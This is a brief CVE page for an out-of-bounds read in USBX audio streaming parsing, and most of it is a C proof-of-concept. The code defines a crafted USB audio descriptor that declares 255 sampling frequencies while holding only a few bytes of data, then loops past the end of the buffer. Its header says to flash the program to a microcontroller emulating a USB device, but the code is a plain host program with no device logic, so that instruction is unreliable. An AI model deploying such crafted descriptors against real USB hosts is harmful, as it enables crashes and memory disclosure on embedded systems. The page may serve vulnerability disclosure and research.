CVE-2025-55097 USBX音频流采样解析越界读取漏洞

/* * CVE-2025-55097 PoC - USBX Audio Streaming Sampling Get OOB Read * * This PoC demonstrates the vulnerability by crafting a malicious USB * audio streaming descriptor that triggers an out-of-bounds read in * _ux_host_class_audio_streaming_sampling_get(). * * To use: Flash this to a microcontroller (e.g., based on FUSB302 or * VUSB) that emulates a USB Audio Class device with a malformed descriptor. */ #include <stdio.h> #include <string.h> #include <stdint.h> /* USB Audio Streaming Interface Descriptor - Malformed */ typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bFormatType; uint8_t bNrChannels; uint8_t bSubframeSize; uint8_t bBitResolution; /* Intentionally malformed sampling frequency fields to trigger OOB read */ uint8_t bSamFreqType; // Set to abnormally high value uint8_t tSamFreq[1]; // Truncated frequency data (normally 3 bytes per freq) } __attribute__((packed)) malformed_audio_streaming_if_desc_t; /* Crafted malicious descriptor payload */ uint8_t malicious_descriptor[] = { 0x07, // bLength = 7 (too short for declared content) 0x24, // bDescriptorType = CS_INTERFACE (0x24) 0x01, // bDescriptorSubtype = AS_GENERAL (0x01) 0x01, // bFormatType = PCM 0x02, // bNrChannels = 2 0x02, // bSubframeSize = 2 0x10, // bBitResolution = 16 /* The following would normally be part of a Type I format descriptor */ 0xFF, // bSamFreqType = 255 (causes OOB iteration) 0xFF, 0xFF, 0xFF // Insufficient frequency data for 255 entries }; int main(void) { /* Simulate the vulnerable parsing logic */ malformed_audio_streaming_if_desc_t *desc = (malformed_audio_streaming_if_desc_t *)malicious_descriptor; printf("[*] CVE-2025-55097 PoC - USBX OOB Read\n"); printf("[*] bSamFreqType: %u\n", desc->bSamFreqType); printf("[*] Descriptor length: %u (insufficient for declared freq count)\n", desc->bLength); /* The vulnerable code would iterate bSamFreqType times over tSamFreq, * reading beyond the descriptor boundary - this is the OOB read */ for (int i = 0; i < desc->bSamFreqType; i++) { /* This read goes out of bounds when i >= actual array size */ printf("[*] SamFreq[%d]: 0x%02x\n", i, desc->tSamFreq[i * 3]); } return 0; }